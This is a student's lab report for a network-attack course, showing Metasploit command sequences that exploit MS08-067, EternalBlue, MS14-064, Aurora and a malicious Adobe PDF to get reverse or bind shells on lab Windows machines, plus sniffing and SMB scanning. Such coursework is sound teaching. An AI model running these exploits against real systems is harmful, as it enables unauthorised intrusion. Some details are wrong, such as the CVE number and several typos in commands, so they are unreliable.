20181330 王茜《网络对抗技术》Exp6 MSF基础应用
1.实践原理说明
1.1 实践目标
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
1.2 实践内容
- 一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
- 成功应用任何一个辅助模块。(1分)
上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。
2.实践过程记录
2.1 主动攻击实践
2.1.1 MS08-067远程溢出漏洞实践(shell)
- Ms08_067_netapi在Metasploit中应该算是很老牌的溢出攻击荷载,使用它进行攻击可以取得一个相对比较高的系统权限。
- 攻击机: kali 192.168.117.128
- 靶机: windows2000 192.168.117.133
Step1:测试机与攻击机之间能否ping通
Step2:攻击者试探靶机是否存在此漏洞
注意:这一步需要进入root下,否则无法运行,报错如下:
输入 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.117.133 命令,如下图所示:
可以看到靶机信息和相关的漏洞信息:
- 靶机的版本号为: microsoft:windows_2000
- 存在的漏洞为: CVE-2008-4250
Step3:进行攻击,与靶机连接
- 输入 msfconsole 进入metasploit的msfconsole控制台
- 输入 search ms08-067 在msf模式下查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息:
- 输入以下命令:
-
use exploit/windows/smb/ms08_067_netapi //选择该漏洞 set payload generic/shell_reverse_tcp //设置攻击的载荷,使用漏洞 set RHOSTS 192.168.117.133 //设置靶机IP set LHOSTS 192.168.117.128 //设置攻击机IP exploit //进行攻击
- 如上图所示,已经连接上了靶机的shell
- 我们来输入命令测试一下:
- 输入 ipconfig /all
2.1.2 ms17_010_eternalblue
- ms17-010 永恒之蓝漏洞
- 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,随后不法分子通过改造永恒之蓝漏洞制造出了wannacry勒索病毒。
- 攻击机: kali 192.168.117.128
- 靶机: windows7 192.168.117.134
Step1:攻击机探测靶机是否存在该漏洞
- 输入命令 nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.117.134
-
可以看到靶机信息和相关的漏洞信息:
- 靶机的版本号为: microsoft:windows_7
- 存在的漏洞为: CVE-2007-0143
Step2:攻击机查看靶机是否存在该漏洞
- 同上,输入以下命令:
-
-
msfconsole //打开控制台 use auxiliary/scanner/smb/smb_ms17_010 //选择本次攻击漏洞 se exploit/windows/smb/ms17_010_eternalblue //选择该漏洞 set payload windows/x64/meterpreter/reverse_tcp 设置攻击的载荷 set RHOSTS 192.168.117.133 //设置靶机IP set LHOSTS 192.168.117.128 //设置攻击机IP exploit //进行攻击
-
- 输入msfconsole打开控制台
- 输入命令:
-
use auxiliary/scanner/smb/smb_ms17_010 //选择本次要攻击漏洞 set RHOSTS 192.168.117.134 //输入靶机ip exploit //扫描靶机扫描,查看靶机是否存在本漏洞
- 如上图所示,靶机存在漏洞。
Step3:攻击机开始攻击
- 输入以下命令:
-
use exploit/windows/smb/ms17_010_eternalblue //选择该漏洞 set payload windows/x64/meterpreter/reverse_tcp //设置本次攻击的载荷 set RHOSTS 192.168.117.134 //设置靶机IP set LHOSTS 192.168.117.128 //设置攻击机IP exploit //开始攻击
- 连接成功!
- 输入 ipconfig 命令进行验证:
2.2 一个针对浏览器的攻击
2.2.1 ms14_064
- ms14-064简介:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
- 攻击机: kali 192.168.117.128
- 靶机:Microsoft WindowsXP 192.168.117.135
Step1:设置靶机中IE浏览器的安全权限
- 在开始面板中右键点击IE
- 选择 Internet属性 并打开设置
- 启用“对标记为可安全执行脚本的ActiveX控件执行脚本”,如下图所示:
- 打开“允许运行或安装软件,即使签名无效”,如下图所示:
Step2:攻击机发起攻击
- 在kali中输入:
-
msfconsole //进入控制台 use exploit/windows/browser/ms14_064_ole_code_execution //选择本次攻击使用的模块 set payload windows/meterpreter/reverse_tcp //设置载荷:tcp反向连接 set SRVHOST 192.168.117.128 //设置攻击机ip set AllowPowerShellPrompt true //msf中的exp代码只对安装powershell的系统生效 set LHOST 192.168.117.128 //设置攻击机ip set LPORT 1330//设置端口号 set target 0 exploit //发起渗透攻击
- 可以看到生成了一个网址
- 我们在靶机中输入这个网址,如下图所示:
- 此时kali中出现如下内容,说明攻击成功:
- 接着在攻击机kali中输入 sessions -i 1 ,获取第一个会话连接,开始攻击,如下图:
- 攻击成功!
- 测试一下连接情况吧!
2.2.2 ms_10_002(Aurora攻击)
- 攻击机: kali 192.168.117.128
- 靶机: Windows xp 192.168.117.135
Step1:攻击机设置模块
- kali中输入命令:
-
use exploit/windows/browser/ms10_002_aurora //利用meatasploit的Aurora模块攻击xp主机的浏览器并控制主机 show options
- kali中输入命令:
-
set srvhost 192.168.117.128 //设置服务器的本地IP,也就是kali的IP set srvport 1330 //设置服务器本地的端口,默认值8080 set payload windows/meterpreter/reverse_tcp //设置载荷 exploit //开始攻击 sessions -i 1 //切换到meterpreter会话
- 这时会生成一个url
Step2:靶机访问URL
- 靶机端输入刚刚生成的URL,如下图所示:
Step3:攻击成功
- kali主机成功建立会话,就可以进行一些命令行的输入获得信息
2.3 一个针对客户端的攻击
2.3.1 Adobe
- 攻击机: kali 192.168.117.128
- 靶机: Windows xp 192.168.117.135
Step1:攻击机生成攻击所用文件
- 在攻击机中输入以下命令:
-
msfconsole
search adobe //查找Adobe漏洞 -
use windows/fileformat/adobe_cooltype_sing //选择攻击模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 set LHOST 192.168.117.128 //设置监听IP set LPORT 1330 //设置监听端口 set FILENAME 20181330wq.pdf //设置文件名
exploit //攻击 - 可以看到,攻击机生成了 20181330wq.pdf 这个文件并保存在 /root/.msf4/local 路径下
Step2:将文件传至靶机
- kali下输入 cp /root/.msf4/local/20181330wq.pdf 20181330wq.pdf 将文件拷贝至当前目录
- 直接将文件拖入靶机
Step3:开始攻击
- kali中输入以下命令开始监听:
-
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set RHOST 192.168.117.135 //设置靶机IP地址 set LPORT 1330 //设置端口号 exploit //开始攻击
- 在靶机中使用Adobe reader打开生成的pdf文件
- kali中成功回连!
- 测试一下呗
2.4 成功应用任何一个辅助模块
2.4.1 portscan(端口扫描)
- 攻击机: kali 192.168.117.128
- 靶机: Windows xp 192.168.117.135
Step1:攻击机开始攻击
- 在kali中输入以下命令:
-
search sniff //查看嗅探相关攻击 use auxiliary/sniffer/psnuffle //选择攻击操作 show options //查看设置 exploit //开始攻击
Step2:在靶机中尝试上网
Step3:查看攻击机中获得的信息
2.4.2 特定服务扫描(其他服务类似)setg全局设置
- 攻击机: kali 192.168.117.128
- 靶机: Windows xp 192.168.117.135
Step:kali中利用msf模块实行攻击
- kali中输入以下命令:
-
search smb_version //寻找smb_version模块 use auxiliary/scanner/smb/smb_version //使用该模块 show options //查看设置 setg rhosts 192.168.3.0/24 //设置靶机IP段 setg threads 50 run //开始攻击
2.5 加分项目:CVE-2019-0803提权漏洞复现
博客链接:CVE-2019-0803提权漏洞复现
3 问题回答
3.1 基础问题回答
3.1.1 用自己的话解释什么是exploit,payload,encode
- exploit :是工具模块,用于连接漏洞,接着把使用的payload传送到靶机中,最后利用靶机漏洞进行攻击。实验中最后开始攻击一般都要输入exploit。
- payload :是载荷模块,这才是目标系统开始exploit传送后,传送执行的攻击代码。我们一般在exploit中调用payload。
- encode :是编码模块,可以对载荷包装加壳,目的是改变特征码,使得payload中不出现特征码,避免被杀软查杀。
3.2 离实战还缺些什么技术或步骤?
- 发现和利用漏洞的能力
- 实验里的漏洞很多都是已经被发现且修复的漏洞,所以现在使用的系统能被我们利用的漏洞还是不多的。
- 我觉得0day漏洞利用起来更容易一些。
- 自身技术
- 实验都是在特定的软件、特定的系统里做的,要是真的实战,我们的三脚猫功夫恐怕什么也做不了。
- 对攻击的熟练程度
- 实验里很多都是类似的步骤
- 在实战里这些肯定是基础中的基础,所以这是实战的基本要求。
4 实践总结与体会
通过实验,我对msf的各种模块的使用方法都有了更深的理解,但也认识到了自己的不足。
本次实验难度不大,但是要找到有合适漏洞的系统,还有下载合适的软件,花费的功夫还是很多的。
这也说明了要真的实战是很困难的,还得不断提高才行。